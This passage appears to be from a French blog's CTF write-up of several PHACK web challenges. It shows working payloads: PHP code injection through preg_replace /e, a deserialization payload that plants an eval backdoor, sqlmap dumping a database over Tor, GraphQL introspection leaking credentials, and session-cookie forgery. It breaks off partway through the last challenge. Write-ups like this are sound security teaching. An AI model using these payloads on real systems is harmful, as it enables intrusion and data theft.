premi&#xE8;re &#xE9;tape ici est de tester si on peut acc&#xE9;der &#xE0; la page arduino.php directement. On r&#xE9;cup&#xE8;re l&apos;adresse dans l&apos;iframe qui est affich&#xE9; sur notre page et on peut directement acc&#xE9;der &#xE0; : <a href="http://harduino.phack.fr/workspace/apps/arduino/arduino.php">http://harduino.phack.fr/workspace/apps/arduino/arduino.php</a>.</p><p>Maintenant, d&apos;apr&#xE8;s le code PHP qui nous ai fourni, on voit qu&apos;on peut injecter le message &#xE0; afficher dans la variable GET nomm&#xE9;e &apos;message&apos;. On essaie avec l&apos;url : </p><!--kg-card-begin: markdown--><pre><code>http://harduino.phack.fr/workspace/apps/arduino/arduino.php?message=plop
</code></pre>
<!--kg-card-end: markdown--><p>Et plop s&apos;affiche bien &#xE0; la place de &apos;Hello World&apos;. Donc ce qui va nous int&#xE9;resser, c&apos;est d&apos;exploiter l&apos;injection de message pour lire notre fichier flag. On se concentre sur le code li&#xE9; &#xE0; l&apos;utilisation du param&#xE8;tre dans l&apos;URL.</p><!--kg-card-begin: markdown--><pre><code class="language-php">if (isset($_GET[&quot;message&quot;])) {
    $custom = $_GET[&quot;message&quot;];
    $message = preg_replace(&quot;/^.*$/e&quot;, &quot;\&quot;$custom\&quot;&quot;, $message);
}
</code></pre>
<!--kg-card-end: markdown--><p>&#xC0; premi&#xE8;re vue, on doit pouvoir commencer notre message par un double quote et ex&#xE9;cuter du code PHP lors de l&apos;&#xE9;valuation de $custom. On test simplement en mettant un double quote au d&#xE9;but de notre message pr&#xE9;c&#xE9;dent et bingo ! On r&#xE9;cup&#xE8;re une erreur PHP !</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-9.png" class="kg-image" alt loading="lazy" width="932" height="82" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-9.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-9.png 932w" sizes="(min-width: 720px) 720px"></figure><p>Notre param&#xE8;tre peut donc permettre d&apos;injecter du code. &#xC0; partir de l&#xE0;, il ne nous reste qu&apos;&#xE0; construire le bon code PHP pour aller lire le flag.</p><!--kg-card-begin: markdown--><pre><code>arduino.php?message=&quot;.file_get_contents(&apos;/flag.txt&apos;).&quot;
</code></pre>
<p>Et le flag s&apos;affiche sur l&apos;&#xE9;cran de l&apos;arduino. Pour ne pas s&apos;emb&#xEA;ter lors de la copie, on affiche les sources de la page et on le r&#xE9;cup&#xE8;re.</p>
<pre><code>PHACK{W4SNT_DAT_HARD_AFT3R_ALL}
</code></pre>
<!--kg-card-end: markdown--><p>Un bon rappel qu&apos;il faut TOUJOURS s&#xE9;curiser ses inputs en PHP et ne pas permettre de l&apos;ex&#xE9;cution de code.</p><h3 id="vod-256pts">VOD - 256pts</h3><blockquote>Votre &#xE9;quipe a re&#xE7;u un message (tr&#xE8;s) s&#xE9;curis&#xE9; de la part d&apos;un agent soit-disant s3c3rt vous invitant &#xE0; vous rendre sur ce site &#xA0;<a href="http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337">http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337</a>.<br>Dr&#xF4;le d&apos;url.</blockquote><p>Ici on nous donne un site web en .onion, c&apos;est le signe qu&apos;il faut lancer Tor pour pouvoir y acc&#xE9;der. </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-16.png" class="kg-image" alt loading="lazy" width="1489" height="877" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-16.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-16.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-16.png 1489w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>On se retrouve sur une liste de plateforme support&#xE9;e par notre super site de VOD. Et on peut acc&#xE8;der au d&#xE9;tail des infos de chaque plateforme avec la page <code>/platform.php?id=1</code>. Un param&#xE8;tre dans l&apos;url comme &#xE7;a, on va tester une injection SQL pour voir si on peut s&apos;en servir pour r&#xE9;cup&#xE9;rer des informations. On tente la page <code>/platform.php?id=&apos; or</code> et on se retrouve avec une erreur. On semble &#xEA;tre sur la bonne voie.</p>
<p>On va aller un peu plus loin en utilisant <code>sqlmap</code>. Seul petit subtilit&#xE9; ici, il est n&#xE9;cessaire que sqlmap se connecte au site via tor.</p>
<pre><code class="language-bash">$ sudo service start tor # on d&#xE9;marre le proxy tor
$ sqlmap --tor --tor-type=SOCKS5 -u &quot;http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1&quot;
</code></pre>
<p>Le param&#xE8;tre est bien sensible &#xE0; une injection SQL, un serveur MySQL est identifi&#xE9;. On liste les bases de donn&#xE9;es disponible puis les tables de la base VOD :</p>
<pre><code class="language-bash">$ sqlmap --tor --tor-type=SOCKS5 -u &quot;http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1&quot; -p id --dbs
available databases [2]:
[*] information_schema
[*] vod

$ sqlmap --tor --tor-type=SOCKS5 -u &quot;http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1&quot; -p id -D vod --tables
Database: vod
[2 tables]
+----------+
| platform |
| s3cr3t   |
+----------+
</code></pre>
<p>On suppose que la table platform ne nous int&#xE9;resse pas forc&#xE9;ment, on va dump la table <code>s3cr3t</code></p>
<pre><code class="language-bash">$ sqlmap --tor --tor-type=SOCKS5 -u &quot;http://xwjtp3mj427zdp4tljiiivg2l5ijfvmt5lcsfaygtpp6cw254kykvpyd.onion:1337/platform.php?id=1&quot; -p id -D vod -T s3cr3t --dump
Database: vod
Table: s3cr3t
[1 entry]
+----+--------------------------+
| id | flag                     |
+----+--------------------------+
| 1  | PHACK{D0_U_kn0w_sQLm4p?} |
+----+--------------------------+
</code></pre>
<p>on r&#xE9;cup&#xE8;re donc le flag</p>
<pre><code>PHACK{D0_U_kn0w_sQLm4p?}
</code></pre>
<!--kg-card-end: markdown--><p></p><h3 id="phacktory-256pts">PHackTory - 256pts</h3><blockquote>Un nouveau magasin de fabrication de chocolat ouvre en ville. <br>Soit le premier &#xE0; passer commande !<br><br>Lien du challenge : <a href="http://phacktory.phack.fr">phacktory.phack.fr</a></blockquote><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-20.png" class="kg-image" alt loading="lazy" width="1279" height="505" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-20.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-20.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-20.png 1279w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Certainement le challenge o&#xF9; on a le plus tourner en rond, des heures de perdues pass&#xE9;es &#xE0; regarder ces tablettes de chocolats. Le site web dispose d&apos;une page index.php et c&apos;est malheureusement tout. Aucun indice de disponible pour savoir ce qu&apos;on pouvait faire dessus. Fuzzer le site ne nous a donn&#xE9; aucun r&#xE9;sultat avec les diff&#xE9;rentes liste qu&apos;on a pu essayer. Bref, au bout de 2 ou 3 jours, on fini par tester l&apos;int&#xE9;gralit&#xE9; des outils dispo dans Kali pour les vuln&#xE9;rabilit&#xE9;s web jusqu&apos;&#xE0; trouver le graal avec la commande</p>
<pre><code class="language-text">$ nikto -host http://phacktory.phack.fr
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          12.42.0.10
+ Target Hostname:    phacktory.phack.fr
+ Target Port:        80
+ Start Time:         2021-04-11 14:26:54 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ Retrieved x-powered-by header: PHP/8.0.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use &apos;-C all&apos; to force check all possible dirs)
+ /backup.zip: Potentially interesting archive/cert file found.
+ /backup.zip: Potentially interesting archive/cert file found. (NOTE: requested by IP address).
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
</code></pre>
<p>La seule ligne int&#xE9;ressante ici &#xE9;tant la pr&#xE9;sence d&apos;un <code>/backup.zip</code>. (On d&#xE9;couvrira en m&#xEA;me temps que la commande <code>$ nmap --script vuln phacktory.phack.fr</code> nous aurait &#xE9;galement r&#xE9;v&#xE9;l&#xE9;e la pr&#xE9;sence de cette archive)</p>
<!--kg-card-end: markdown--><p>Le fichier est disponible ici : <a href="https://blog.julienmialon.com/uploads/ctf/phack/phacktory.zip">http://blog.julienmialon.com/uploads/ctf/phack/phacktory.zip</a></p><!--kg-card-begin: markdown--><p>On d&#xE9;couvre des images mais surtout le code de la page <code>index.php</code>. Peut &#xEA;tre pas la version finale mais certainement une version tr&#xE8;s proche de celle qui permet de pr&#xE9;senter le site.</p>
<pre><code class="language-php">&lt;?php
include(&quot;config.php&quot;);
// Easter chocolate creation factory
// WIP : Do not send to production, I think it not safe yet. I should ask to my master
class PHackTory {
    public $type;
    public $quantity;
    public function __construct() {
        if(isset($_POST[&apos;type&apos;])) {
            $this -&gt; type = $_POST[&apos;type&apos;];
        } else { $this -&gt; order = &quot;milky&quot;; }
        if(isset($_POST[&apos;quantity&apos;])) {
            $this -&gt; quantity = $_POST[&apos;quantity&apos;];
        } else { $this -&gt; quantity = &quot;50&quot;; }
    }
    public function __wakeup() {
      global $DEBUG;
      $types = [&quot;dark&quot;, &quot;white&quot;, &quot;milky&quot;, &quot;fruity&quot;, &quot;95%&quot;, &quot;flag&quot;];
      $quantities = [1, 5, 10, 25, 50, 100, &quot;PHACK{}&quot;];
      if (isset($this -&gt; type) &amp;&amp; isset($this -&gt; quantity)) {
        if(in_array($this -&gt; type, $types) &amp;&amp; in_array($this -&gt; quantity, $quantities)) {
            prepareOrder($this);
            return &quot;Votre commande de &quot; . $this -&gt; quantity . &quot; chocholats (&quot;  . $this -&gt; type .  &quot;) est en pr&#xE9;paration.&quot;;
        }
        else {
          if ($DEBUG) {
            //Affichage des variables pour deboguer. Enfin..Je crois que c&apos;est &#xE7;a que ca fait.
            eval($this -&gt; type . &apos; &apos; . $this -&gt; quantity);
          }
          return &quot;Il semble y avoir un probl&#xE8;me avec votre commande. Merde de contacter quelqu&apos;un d&apos;autre.&quot;;
        }
      }
    }
    public function prepareOrder(){ }
}
$a = $_GET[&apos;what&apos;];
$b = $_POST[&apos;is&apos;];
$c = $_POST[&apos;cool&apos;];
$d = $_GET[&apos;the&apos;];
?&gt;
&lt;!doctype html&gt;
&lt;html lang=&quot;fr&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;title&gt;PHackTory&lt;/title&gt;
    &lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;images/favicon.png&quot; /&gt;
  &lt;/head&gt;
  &lt;body style=&quot;background-image: url(&apos;images/background.jpg&apos;); background-size: cover;&quot;&gt;
    &lt;div style=&quot; position: absolute; left: 20%; top: 25%; width: 60%; padding: 10px; text-align: center; background-color: white; opacity: 0.7; font-size: 3rem;&quot;&gt;
       &lt;h1 style=&quot;text-decoration: underline;&quot;&gt;PHackTory&lt;/h1&gt;
        &lt;p&gt;Votre magasin se pr&#xE9;pare pour les f&#xEA;tes. &lt;br/&gt; Les commandes ne sont pas encore ouvertes.&lt;/p&gt;
      &lt;/div&gt;
    &lt;?php
      if(isset($a) &amp;&amp; isset($b) &amp;&amp; isset($c) &amp;&amp; isset($d)) {
          if($d == &quot;flag&quot; &amp;&amp; $a == &quot;is&quot;) {
            if ($b &gt; 1538) {
              $myOrder = unserialize($_GET[&apos;please&apos;]);
              return &quot;Oui !&quot;;
            }
            else { return &quot;Peut-&#xEA;tre !&quot;; }
          }
          else { return &quot;Certainement pas!&quot;; }
      }
      else { return &quot;Non !&quot;; }
    ?&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>On commence &#xE0; d&#xE9;couvrir des choses int&#xE9;ressantes ici, tout d&apos;abord la portion de code basse dans le contenu HTML semble &#xEA;tre un point d&apos;entr&#xE9;e prometteur. L&apos;appel &#xE0; la fonction PHP <code>unserialize</code> est assez connu pour g&#xE9;n&#xE9;rer des probl&#xE8;mes de s&#xE9;curit&#xE9;, surtout quand on d&#xE9;s&#xE9;rialize un param&#xE8;tre fourni par l&apos;utilisateur. La portion de code qui nous int&#xE9;resse dans un premier temps va donc &#xEA;tre</p>
<pre><code>&lt;php 
$a = $_GET[&apos;what&apos;];
$b = $_POST[&apos;is&apos;];
$c = $_POST[&apos;cool&apos;];
$d = $_GET[&apos;the&apos;];
if(isset($a) &amp;&amp; isset($b) &amp;&amp; isset($c) &amp;&amp; isset($d)) {
  if($d == &quot;flag&quot; &amp;&amp; $a == &quot;is&quot;) {
    if ($b &gt; 1538) {
      $myOrder = unserialize($_GET[&apos;please&apos;]);
      return &quot;Oui !&quot;;
    }
  }
}
</code></pre>
<p>Ok, donc pour arriver &#xE0; la ligne qui nous int&#xE9;resse sur le <code>unserialize</code>, il est n&#xE9;cessaire de passer quelques param&#xE8;tres dans la requ&#xEA;te :</p>
<pre><code class="language-text">URL : http://phacktory.phack.fr/index.php?what=is&amp;the=flag
Post data : 
  - is=1539
  - cool=Storm0x2a
</code></pre>
<p>Il ne nous reste plus qu&apos;&#xE0; fournir un payload int&#xE9;ressant &#xE0; la variable <code>please</code> dans l&apos;url pour exploiter la faille. Il n&apos;y a pas grand chose d&apos;autre que la classe <code>PHackTory</code> dans ce fichier que l&apos;on pourrait exploiter. Il faut savoir que la fonction <code>unserialize</code> va appeler la m&#xE9;thode <code>__wakeup()</code> de l&apos;objet une fois d&#xE9;s&#xE9;rializer, nous pouvons donc exploiter le code de cette m&#xE9;thode. Le constructeur ne sera pas appel&#xE9; et donc peut &#xEA;tre ignorer. On se retrouve donc avec cette partie de code :</p>
<pre><code class="language-php">public function __wakeup() {
  global $DEBUG;

  $types = [&quot;dark&quot;, &quot;white&quot;, &quot;milky&quot;, &quot;fruity&quot;, &quot;95%&quot;, &quot;flag&quot;];
  $quantities = [1, 5, 10, 25, 50, 100, &quot;PHACK{}&quot;];

  if (isset($this -&gt; type) &amp;&amp; isset($this -&gt; quantity)) {
    if(in_array($this -&gt; type, $types) &amp;&amp; in_array($this -&gt; quantity, $quantities)) {
        prepareOrder($this);
        return &quot;Votre commande de &quot; . $this -&gt; quantity . &quot; chocholats (&quot;  . $this -&gt; type .  &quot;) est en pr&#xE9;paration.&quot;;
    }
    else {
      if ($DEBUG) {
        //Affichage des variables pour deboguer. Enfin..Je crois que c&apos;est &#xE7;a que ca fait.
        eval($this -&gt; type . &apos; &apos; . $this -&gt; quantity);
      }

      return &quot;Il semble y avoir un probl&#xE8;me avec votre commande. Merde de contacter quelqu&apos;un d&apos;autre.&quot;;
    }
  }
}
</code></pre>
<p>On voit ici que <code>$this-&gt;type</code> et <code>$this-&gt;quantity</code> doivent exister et qu&apos;on a int&#xE9;r&#xEA;t &#xE0; ne pas leur donner une valeur pr&#xE9;sent dans les deux array juste au dessus afin, on l&apos;esp&#xE8;re, de trigger la fonction eval qui va nous permettre d&apos;ex&#xE9;cuter du code arbitraire pass&#xE9; dans les deux champs de la classe. Le moyen le plus simple pour obtenir le payload &#xE0; passer &#xE0; la fonction <code>unserialize</code> reste d&apos;appeler la m&#xE9;thode <code>serialize</code> dans un interpr&#xE9;teur PHP (n&apos;importe lequel en ligne fera l&apos;affaire). Ici on va utiliser le code suivant :</p>
<pre><code class="language-php">&lt;?php
class PHackTory {
    public $type = &apos;eval($_POST[&quot;code&quot;])&apos;;
    public $quantity = &apos;;&apos;;
}

echo serialize(new PHackTory());
// R&#xE9;sultat : O:9:&quot;PHackTory&quot;:2:{s:4:&quot;type&quot;;s:20:&quot;eval($_POST[&quot;code&quot;])&quot;;s:8:&quot;quantity&quot;;s:1:&quot;;&quot;;}
</code></pre>
<p>L&apos;avantage de cette m&#xE9;thode est qu&apos;on pourra passer le code que l&apos;on souhaite vraiment &#xE9;valuer dans le param&#xE8;tre POST <code>code</code> sans avoir besoin de changer le payload de s&#xE9;rialization &#xE0; chaque fois. On teste notre syst&#xE8;me en mettant un simple <code>echo &apos;hello&apos;;</code> dans notre param&#xE8;tre et on r&#xE9;cup&#xE8;re bien le retour dans le page HTML.</p>
<p>&#xC0; partir de l&#xE0;, on va utiliser cette faille pour lire le contenu actuel de la page <code>index.php</code>. On va simplement envoyer le code suivant :</p>
<pre><code class="language-php">echo file_get_contents(&apos;index.php&apos;);
</code></pre>
<p>Le code de la page est exactement le m&#xEA;me que celui qu&apos;on a pu r&#xE9;cup&#xE9;rer dans l&apos;archive &#xE0; une exception pr&#xE8;s, la ligne d&apos;include en haut de fichier :</p>
<pre><code class="language-php">include(&quot;config-126546845171616835186.php&quot;);
</code></pre>
<p>Essayons de lire ce fichier en changeant juste le nom de fichier dans notre code pr&#xE9;c&#xE9;dent. Et nous obtenons le flag qui &#xE9;tait dans le fichier de config.</p>
<pre><code class="language-text">PHACK{l3s_cl0Ch3s_s0nT_p4s5ees_!}
</code></pre>
<p>Un challenge qui &#xE9;tait plut&#xF4;t simple une fois pass&#xE9; l&apos;&#xE9;tape de base qui &#xE9;tait de d&#xE9;couvrir cette archive de backup mais qui nous aura bien pris la t&#xEA;te, il faut bien le dire !</p>
<!--kg-card-end: markdown--><h3 id="agenda-256pts">Agenda - 256pts</h3><blockquote>Votre ami est tout fier d&apos;avoir cr&#xE9;&#xE9; son propre agenda de conf&#xE9;rences en ligne.<br>Il vous demande de v&#xE9;rifier la s&#xE9;curit&#xE9; avant de le mettre en production.<br><br>Lien du challenge : <a href="http://agenda.phack.fr/">agenda.phack.fr</a></blockquote><p>On lance le site web et on r&#xE9;cup&#xE8;re une page avec une liste de conf&#xE9;rence.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-10.png" class="kg-image" alt loading="lazy" width="1552" height="669" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-10.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-10.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-10.png 1552w" sizes="(min-width: 720px) 720px"></figure><p>La premi&#xE8;re chose qu&apos;on voit c&apos;est que la page se charge dans un premier temps puis seulement apr&#xE8;s la liste des conf&#xE9;rences s&apos;affiche. On dirait que la liste est charg&#xE9;e via javascript avec un appel API o&#xF9; quelque chose du genre. On recharge donc la page avec l&apos;onglet network de l&apos;inspecteur ouvert et on observe un appel &#xE0; un endpoint <a href="http://agenda-backend.phack.fr/graphql">http://agenda-backend.phack.fr/graphql</a>. Il faut s&#xFB;rement qu&apos;on exploite ce endpoint. Pour le chargement des conf&#xE9;rences, il lui est envoy&#xE9; le payload suivant : </p><!--kg-card-begin: markdown--><pre><code class="language-json">{
   &quot;query&quot;:&quot;
     query {
       conferences {
         id, 
         name, 
         city, 
         talks {
           id, 
           title, 
           summary, 
           speakers {
             id, 
             name, 
             githubAccount, 
             blog
           }
         }
       }
     }&quot;
}
</code></pre>
<!--kg-card-end: markdown--><p>On va tenter une b&#xEA;te requ&#xEA;te d&apos;introspection pour voir le r&#xE9;sultat que &#xE7;a peut nous retourner.</p><!--kg-card-begin: markdown--><pre><code class="language-graphql">query {__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
</code></pre>
<!--kg-card-end: markdown--><p>Et comme esp&#xE9;rer, on nous envoie le d&#xE9;tail complet de la &quot;base&quot; graphql avec le type d&apos;objet disponible ainsi que les query que l&apos;on peut faire dessus. Le fichier json r&#xE9;sultant est disponible ici <a href="https://blog.julienmialon.com/uploads/ctf/phack/agenda1.json">https://blog.julienmialon.com/uploads/ctf/phack/agenda1.json</a></p><p>On voit qu&apos;il y a une query nomm&#xE9;e &quot;persons&quot; qui est disponible ainsi que les champs du type Person qui contiennent login et passw0rd. Voyons si on peut query la liste des personnes et r&#xE9;cup&#xE9;rer leurs identifiant de cette mani&#xE8;re. On envoi la query suivante : </p><!--kg-card-begin: markdown--><pre><code class="language-graphql">query { persons { id, name, login, passw0rd }}
</code></pre>
<!--kg-card-end: markdown--><p>Et on r&#xE9;cup&#xE8;re la liste de tous les utilisateurs, avec le dernier qui dispose d&apos;un login et mot de passe.</p><!--kg-card-begin: markdown--><pre><code class="language-json">{
    &quot;id&quot;: &quot;16&quot;,
    &quot;name&quot;: &quot;Admin&quot;,
    &quot;login&quot;: &quot;flagman&quot;,
    &quot;passw0rd&quot;: &quot;s3cr3t_d0_n07_Sh4r3&quot;
}
</code></pre>
<!--kg-card-end: markdown--><p>On se connecte avec cet identifiant sur le site et on r&#xE9;cup&#xE8;re le flag</p><!--kg-card-begin: markdown--><pre><code>PHACK{1_l0v3_gR4pHQl_1ntR0sp3ct10n}
</code></pre>
<!--kg-card-end: markdown--><h3 id="agenda-2-256pts">Agenda 2 - 256pts</h3><blockquote>Maintenant c&apos;est bon, le probl&#xE8;me de s&#xE9;curit&#xE9; a &#xE9;t&#xE9; corrig&#xE9;.<br>V&#xE9;rifiez de nouveau, on ne sait jamais.<br><br>Lien du challenge : <a href="http://agenda2.phack.fr/">agenda2.phack.fr</a></blockquote><p>On ouvre ici un site web qui semble &#xEA;tre le m&#xEA;me que le challenge pr&#xE9;c&#xE9;dent mais qui aurait &#xE9;t&#xE9; patch&#xE9; pour ne pas rendre visible le mot de passe aussi facilement en tout cas. On relance notre requ&#xEA;te d&apos;introspection avec le r&#xE9;sultat disponible ici <a href="https://blog.julienmialon.com/uploads/ctf/phack/agenda2.json">https://blog.julienmialon.com/uploads/ctf/phack/agenda2.json</a>. Un diff avec le fichier pr&#xE9;c&#xE9;dent nous indique qu&apos;une partie mutation a &#xE9;t&#xE9; ajout&#xE9; mais que le reste est strictement identique.</p><p>On retente notre requ&#xEA;te pour lister les utilisateurs au cas o&#xF9;, pas de chance, l&apos;utilisateur que l&apos;on a utilis&#xE9; sur le challenge pr&#xE9;c&#xE9;dent et qui &#xE9;tait le seul &#xE0; avoir un mot de passe renseign&#xE9; &#xE0; semble t&apos;il &#xE9;tait supprim&#xE9;.</p><p>Puisque la partie mutation a &#xE9;t&#xE9; ajout&#xE9;, on va plut&#xF4;t se pencher de ce c&#xF4;t&#xE9; l&#xE0; pour voir si on ne pourrait pas ajouter un utilisateur &#xE0; la base pour se connecter.</p><!--kg-card-begin: markdown--><pre><code class="language-json">{
    &quot;name&quot;: &quot;addPerson&quot;,
    &quot;args&quot;: [
        {
            &quot;name&quot;: &quot;person&quot;,
            &quot;description&quot;: &quot;&quot;,
            &quot;type&quot;: {
                &quot;name&quot;: null,
                &quot;kind&quot;: &quot;NON_NULL&quot;,
                &quot;ofType&quot;: {
                    &quot;name&quot;: &quot;InputPerson&quot;,
                    &quot;kind&quot;: &quot;INPUT_OBJECT&quot;
                }
            }
        }
    ]
}
</code></pre>
<!--kg-card-end: markdown--><p>On trouve le d&#xE9;tail de la mutation qui va nous int&#xE9;resser pour ajouter un utilisateur et on cr&#xE9;&#xE9; la requ&#xEA;te suivante pour l&apos;ajouter &#xE0; la base.</p><!--kg-card-begin: markdown--><pre><code class="language-graphql">mutation {
  addPerson(person: { 
    name: &quot;hello&quot;, 
    login: &quot;hello&quot;, 
    passw0rd: &quot;world&quot;
  }) { 
    id 
  } 
}
</code></pre>
<!--kg-card-end: markdown--><p>Si on reconsulte notre liste d&apos;utilisateurs, on voit que notre nouvel utilisateur a bien &#xE9;t&#xE9; ajout&#xE9;. On l&apos;utilise donc pour se logger sur le site et r&#xE9;cup&#xE9;rer le flag : </p><!--kg-card-begin: markdown--><pre><code>PHACK{th3_bUg_H4s_mut4t3d}
</code></pre>
<!--kg-card-end: markdown--><h3 id="the-faceboox-512pts">The Faceboox - 512pts</h3><blockquote>Un jeune &#xE9;tudiant pr&#xE9;tentieux d&apos;Harvard se vante d&apos;avoir lanc&#xE9; TheFaceboox, un r&#xE9;seau social qui sera bient&#xF4;t plus populaire que mySpoox, votre site de coeur.</blockquote><blockquote>Prouvez au monde entier que son site ne vaut pas un clou en prenant le contr&#xF4;le de son compte !<br><br>Lien du challenge : <a href="http://the-faceboox.phack.fr/">the-faceboox.phack.fr</a></blockquote><p>On se retrouve ici sur un site web qui n&apos;est pas sans rappeler un r&#xE9;seau social bien connu, &#xE0; premi&#xE8;re vue on a une page de login qui semble &#xEA;tre fonctionnelle, une partie inscription et r&#xE9;initialisation de mot de passe non impl&#xE9;ment&#xE9;e et plusieurs pages d&apos;information divers et vari&#xE9;es.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-11.png" class="kg-image" alt loading="lazy" width="717" height="908" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-11.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-11.png 717w"></figure><p>Page int&#xE9;ressante tout de m&#xEA;me, une page de login sp&#xE9;cifique pour la presse et les annonceurs publicitaires : <a href="http://the-faceboox.phack.fr/media.html">http://the-faceboox.phack.fr/media.html</a></p><!--kg-card-begin: markdown--><p>Et dans le code source de la page index.html, on trouve</p>
<pre><code class="language-html">&lt;!------ TODO ------ &gt;

* Add edit profile functions
* Add register backend
* Change the name (TheFaceboom ? TheFaceboop ?)
* Remove demo &quot;Press Account&quot; (demo/demo)

&lt;--------------------&gt;
</code></pre>
<p>On parvient &#xE0; se logger sur la page pour la presse en tant que demo/demo. Malheureusement, on arrive sur une page en cours de construction, rien de disponible ici.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-12.png" class="kg-image" alt loading="lazy" width="710" height="260" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-12.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-12.png 710w"></figure><!--kg-card-begin: markdown--><p>On a tout de m&#xEA;me deux cookies d&#xE9;pos&#xE9; lors de notre connexion avec le compte demo. Le premier <code>PHPSESSID</code> qui correspond &#xE0; une session PHP, classique pour un site web. Le second par contre para&#xEE;t plus int&#xE9;resant.</p>
<pre><code class="language-text">session : eyJpZCI6MSwidHlwZSI6InByZXNzIn0=
</code></pre>
<p>On retrouve la s&#xE9;quence de d&#xE9;but <code>eyJ</code>, c&apos;est tr&#xE8;s certainement du json en base64. Une fois d&#xE9;cod&#xE9; on obtient le json ci-dessous.</p>
<pre><code class="language-json">{&quot;id&quot;:1,&quot;type&quot;:&quot;press&quot;}
</code></pre>
<p>Maintenant il va s&apos;agir de tester plusieurs choses. Dans un premier temps, on tente de changer l&apos;id en 2 pour voir si on pourrait se connecter &#xE0; un autre compte. On change la valeur du cookie avec notre nouveau json encod&#xE9; en base64 et on recharge la page. Appara&#xEE;t une simple erreur :</p>
<pre><code class="language-text">ERROR: Provided cookie id (2) must match session id (1)
</code></pre>
<p>On en conclus que la session PHP doit aussi contenir l&apos;id et v&#xE9;rifier la coh&#xE9;rence entre les deux. Deuxi&#xE8;me possibilit&#xE9;, envoyer un autre type de compte. On envoie un type de compte <code>&quot;admin&quot;</code> (sur un malentendu on sait jamais &#xE7;a pourrait passer ^^). On re&#xE7;oit une erreur mais qui nous aide cette fois-ci :</p>
<pre><code class="language-text">ERROR: Session type must be one of : student, press
</code></pre>
<p>Aucun probl&#xE8;me, on change notre type de compte en <code>&quot;student&quot;</code> et on re&#xE7;oit une erreur nous indiquant que les compte de type &#xE9;tudiant ne sont pas autoris&#xE9; &#xE0; acc&#xE9;der &#xE0; la page <code>press.php</code> mais qu&apos;ils peuvent acc&#xE9;der &#xE0; <code>profile.php</code>. Aucun probl&#xE8;me, on va sur la page profile et on acc&#xE8;de au profil de l&apos;&#xE9;tudiant avec l&apos;id 1.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-13.png" class="kg-image" alt loading="lazy" width="886" height="711" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-13.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-13.png 886w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Seul les pages <code>My Profile</code> et <code>My Messages</code> sont r&#xE9;ellement impl&#xE9;ment&#xE9;, la page de message nous permet de d&#xE9;couvrir qu&apos;on peut consulter les profils d&apos;autres personnes via la page <code>/user.php?id=2</code>. Un test rapide nous montre qu&apos;on peut &#xE9;num&#xE9;rer les id 1 (nous) &#xE0; 5 (zuckerberg). Un param&#xE8;tre de cette mani&#xE8;re dans une URL, on lance <code>sqlmap</code> pour v&#xE9;rifier si jamais il serait sensible &#xE0; une injection SQL mais le r&#xE9;sultat est n&#xE9;gatif. On tente de rentrer quelque chose dans le champ de recherche au cas o&#xF9; celui ci le serait et on re&#xE7;oit une erreur :</p>
<pre><code class="language-text">This server is running an unsupported MySQL version (Error while connecting to MySQL: Connector::DBI::Mysql connect(...) failed: Can&apos;t connect to local MySQL server using file &apos;/var/www/html/old_Test_Database.sql&apos; (2) at /usr/local/mysql/MysqlUtils/Connector.pm line 136. Ask your system administrator to upgrade MySQL to improve security and features.
</code></pre>
<p>Au d&#xE9;part, &#xE7;a ressemble &#xE0; une erreur MySQL &apos;classique&apos; mais a y bien regarder on vois la mention &#xE0; un fichier SQL <code>/var/www/html/old_Test_Database.sql</code>.</p>
